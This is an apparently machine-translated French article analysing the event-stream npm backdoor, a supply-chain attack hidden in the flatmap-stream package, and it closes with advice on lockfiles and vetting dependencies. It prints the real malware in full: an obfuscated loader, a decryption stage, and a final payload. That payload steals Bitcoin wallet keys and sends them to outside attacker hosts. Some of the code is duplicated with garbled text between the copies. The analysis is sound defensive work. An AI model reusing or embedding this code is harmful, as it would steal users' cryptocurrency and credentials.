Expliquez la porte dérobée dans le flux d'événements

Si vous travaillez avec Javascript, alors vous avez probablement remarqué beaucoup de bruit à propos de la vulnérabilité dans le package npm de flux d'événements . ( Un article à ce sujet a également été publié sur Habré. ) Malheureusement, une analyse détaillée de la situation est enterrée sous plus de 600 commentaires dans le numéro sur Github , dont la plupart sont une flamme sur l'état du npm, l'open source en général, etc. Je pensais que c'était mauvais, car la porte dérobée est vraiment exceptionnellement intelligente et intéressante d'un point de vue technique, et elle nous enseigne également une leçon importante sur la façon de maintenir la sécurité dans les applications Javascript. J'ai donc décidé d'écrire un article avec une explication détaillée du fonctionnement de cette attaque et de ce que la communauté Javascript peut faire pour mieux se défendre contre de telles attaques à l'avenir.


Avant de commencer, je tiens à remercier FallingSnow , maths22 et joepie91 pour leur excellente enquête. Ils ont fait tout le travail difficile d'analyser la vulnérabilité et de comprendre ce qu'elle fait. Plus loin dans le texte, je citerai leurs résultats indiquant la paternité, mais je pense qu'il vaut la peine d'indiquer explicitement que je n'ai pas fait tout ce travail moi-même. Je résume simplement ce que d'autres ont découvert.


Contexte


event-stream est un module npm populaire qui contient des utilitaires pour travailler avec des flux de données dans une application node.js. Maintenant, il est téléchargé plus de 1,9 million de fois par jour. Cependant, il n'a pas été en développement actif depuis plusieurs années. Son auteur, Dominic Tarr , soutient un grand nombre d'autres projets et n'utilise plus ce module dans des projets personnels, il a donc été ignoré.


Vers la mi-septembre, un utilisateur avec le surnom right9ctrl (le compte GitHub a maintenant été supprimé) a suggéré de prendre en charge le support du module. Dominic a accepté et a donné à right9ctrl les droits d'accès à Github et à npm. L'histoire des commits semble inoffensive à première vue:



Capture d'écran de l'historique des validations dans le flux d'événements sur Github


Le 9 septembre, right9ctrl a ajouté un nouveau module flatmap-stream fonction de celui-ci, pour implémenter la fonctionnalité flatmap pour event-stream (une solution tout à fait appropriée, car event-stream avait déjà des utilitaires similaires, par exemple, une map régulière). Le 16 septembre, right9ctrl a ensuite supprimé la dépendance flatmap-stream et implémenté directement la méthode flatmap . Et encore une fois, rien ne dérange, il n'est pas rare d'ajouter une nouvelle dépendance, puis de décider dans quelques jours qu'il vaudra mieux mettre en œuvre la même chose soi-même.


Attaque


La bibliothèque flatmap-stream semble également inoffensive - en fait, elle contient une implémentation d'une carte plate pour les flux de données (bien que quelque chose devrait faire attention - la bibliothèque n'a qu'un contributeur et aucun téléchargement de npm jusqu'à ce point).



Capture d'écran de la page flatmap-stream sur GitHub


Cependant, la version de ce module publiée dans npm contenait du code supplémentaire dans un fichier minifié, que vous ne remarquerez peut-être même pas, même en sachant qu'il est là:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

La partie nuisible ici est à la fin, et elle a été spécialement masquée pour éviter la détection:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

Dans un problème sur Github, FallingSnow a restauré le code source du signet et a montré ce qui se passait là-bas:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Ainsi, le code télécharge le fichier ./test/data.js , qui était également intégré dans la version publiée dans npm malgré le manque de code source sur GitHub. Ce fichier contient un tableau de chaînes chiffrées via AES256. La npm_package_description environnement npm_package_description est définie par la commande npm lorsque le code est exécuté dans le contexte d'un package, c'est-à-dire que le package racine, y compris le flux d'événements -> la chaîne de dépendances de flux plat, sera utilisé pour définir npm_package_description (et d'autres variables similaires). ( Remarque: en d'autres termes, la description du fichier package.json de votre projet dans lequel vous avez exécuté cette commande sera utilisée ). Ainsi, le code déchiffre le contenu de test/data.js utilisant npm_package_description comme clé, puis essaie d'exécuter le résultat.


Pour la grande majorité des paquets, cela entraînera une erreur (que le code malveillant détectera et ignorera discrètement), car leur description n'est pas la bonne clé pour le chiffrement AES256 et le résultat du déchiffrement sera un non-sens. Il s'agit d'une attaque très ciblée sur un package spécifique. maths22 et d'autres utilisateurs ont téléchargé une liste de modules npm qui dépendent du flux d'événements, et en triant les descriptions de ces modules, nous avons sélectionné la bonne clé et trouvé le package cible: c'était copay-dash , une plate-forme pour les portefeuilles bitcoin. Sa description, "A Secure Bitcoin Wallet", décrypte avec succès le contenu de test/data.js , montrant le code suivant (aimablement fourni par joepie91 ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Ce code lance un autre niveau de déchiffrement, auquel le dernier script malveillant s'ouvre:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cj / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Comme vous l'avez peut-être deviné, ce script tente de voler votre portefeuille Bitcoin et de télécharger ses données sur le serveur de l'attaquant.


Mise à jour: l'équipe npm a publié son rapport d'incident officiel , qui expliquait que le code malveillant était destiné à être lancé dans le processus de publication de Copay afin d'injecter un script de vol de bitcoins dans le code de l'application de portefeuille Copay.


Donc, pour résumer


  • La plateforme de bitcoin populaire copay-dash utilise la dépendance du flux d'événements.
  • En septembre, pendant environ une semaine, le flux d'événements a contenu une dépendance de flux plat, car le projet a été transféré à un nouveau développeur qui a ajouté la dépendance et l'a supprimée une semaine plus tard.
  • flatmap-stream contenait un fragment caché à la fin du code minifié, qui tentait de décoder les lignes du test/data.js , en utilisant la description du package racine comme clé AES256.
  • Pour tout package normal, cela a provoqué une erreur (car la description du package n'était pas la bonne clé), qui a été traitée en silence. Mais pour copay-dash, le déchiffrement a donné un code JavaScript valide, qui a lancé une autre étape de déchiffrement et exécuté un script malveillant qui vole votre portefeuille bitcoin.

Que faire maintenant?


Il s'agissait d'une attaque étonnamment rusée, rappelant fortement un article de janvier , avec une description d'une attaque hypothétique similaire. L'attaquant a habilement balayé ses traces - le code et l'historique des commits sur Github montrent une situation inoffensive et non suspecte (le nouveau développeur rejoint le projet, ajoute une fonctionnalité, puis modifie légèrement sa mise en œuvre). En plus des signes suspects dans le flatmap-stream (nouveau package, aucun contributeur et statistiques de téléchargement), l'attaque s'est avérée presque invisible. Et en fait, il n'a pas été détecté pendant 2 mois et n'a été trouvé que maintenant parce que l'attaquant a fait une petite erreur en utilisant la méthode crypto.createDecipher obsolète au lieu de crypto.createDecipheriv , ce qui a provoqué un message suspect concernant l'utilisation de la méthode obsolète dans une autre bibliothèque, ce qui utilise le flux d'événements.


Malheureusement, ce type d'attaque ne nous quittera pas dans un avenir proche. JavaScript est le langage le plus populaire à l'heure actuelle, ce qui signifie qu'il restera une cible attrayante pour les pirates. JavaScript a également relativement peu de fonctionnalités dans la bibliothèque standard par rapport à d'autres langages, ce qui oblige les développeurs à utiliser les packages de npm - ainsi que d'autres facteurs culturels, cela conduit au fait que les projets JavaScript ont généralement une énorme arborescence de dépendances.


Il convient de noter que bien que les applications JavaScript soient plus sujettes à cette classe de vulnérabilités, ce n'est pas nécessairement la raison pour laquelle JavaScript est moins sécurisé en général. JavaScript est généralement utilisé par les développeurs plus actifs qui essaient d'être sur la vague du progrès, c'est-à-dire que leurs utilisateurs installent plus de packages et de mises à jour, y compris des correctifs de sécurité. Dans le même temps, l'application Java d'Equifax a été piratée pour la raison opposée exacte - ils n'ont pas installé de mises à jour de sécurité pour Apache Struts pendant des mois. Ce type de vulnérabilité est moins probable dans les applications JavaScript. Au final, lors du choix d'une pile technologique pour une entreprise, la question de la sécurité se pose toujours. Une leçon importante sera de comprendre les scénarios d'attaque possibles pour votre décision particulière et la capacité de les anticiper.


Qu'est-ce que cela signifie pour la pile javascript? Les idées et suggestions ne manquent pas sur la manière dont le NPM ou d'autres communautés pourraient empêcher de telles attaques. Mais pour les utilisateurs finaux, il existe au moins deux étapes de base pour réduire vos risques:


  • Utilisez des fichiers de verrouillage . Peu importe que ce soit yarn.lock ou package-lock.json, tout fichier de verrouillage garantit que vous recevrez les mêmes versions de packages à chaque installation, c'est-à-dire que si vous êtes en sécurité aujourd'hui, vous resterez le même demain. Les applications qui pratiquent des dépendances flottantes sans utiliser de fichiers de verrouillage sont particulièrement vulnérables aux mises à jour malveillantes, car elles installent automatiquement la dernière version disponible des dépendances, c'est-à-dire que vous pouvez être compromis avec chaque déploiement après qu'une de vos dépendances a été compromise et publiée version avec vulnérabilité. Avec les fichiers de verrouillage, vous limiterez au moins vos risques aux actions manuelles des développeurs qui ajoutent et mettent à jour des packages, qui peuvent être revérifiées par la révision du code ou d'autres politiques de l'entreprise.


  • Réfléchissez avant de mettre quelque chose . Comme indiqué ci-dessus, ce n'est pas une panacée, les pirates peuvent toujours passer à travers des signets en code minifié qui sont difficiles à trouver, même si vous savez qu'ils sont là. Mais pas moins, vous pouvez réduire vos risques si vous vous en tenez aux packages populaires et activement pris en charge. Avant d'installer une nouvelle dépendance, demandez-vous d'abord si vous en avez vraiment besoin. Si vous savez déjà comment écrire du code et qu'il ne prend pas plus d'une douzaine de lignes, écrivez-le vous-même. Si vous avez toujours besoin d'une dépendance, évaluez-la avant l'installation. Combien de téléchargements a-t-elle sur npm? Le référentiel sur Github a-t-il l'air activement mis à jour? Le package a-t-il été mis à jour récemment? Sinon, envisagez de le bifurquer et de l'utiliser. Cela réduira les risques, car vous ne serez pas exposé à de futures mises à jour dangereuses, vous pourrez lire et réduire le code source vous-même et être sûr qu'il contient et qu'il contient.


Source: https://habr.com/ru/post/fr431360/


All Articles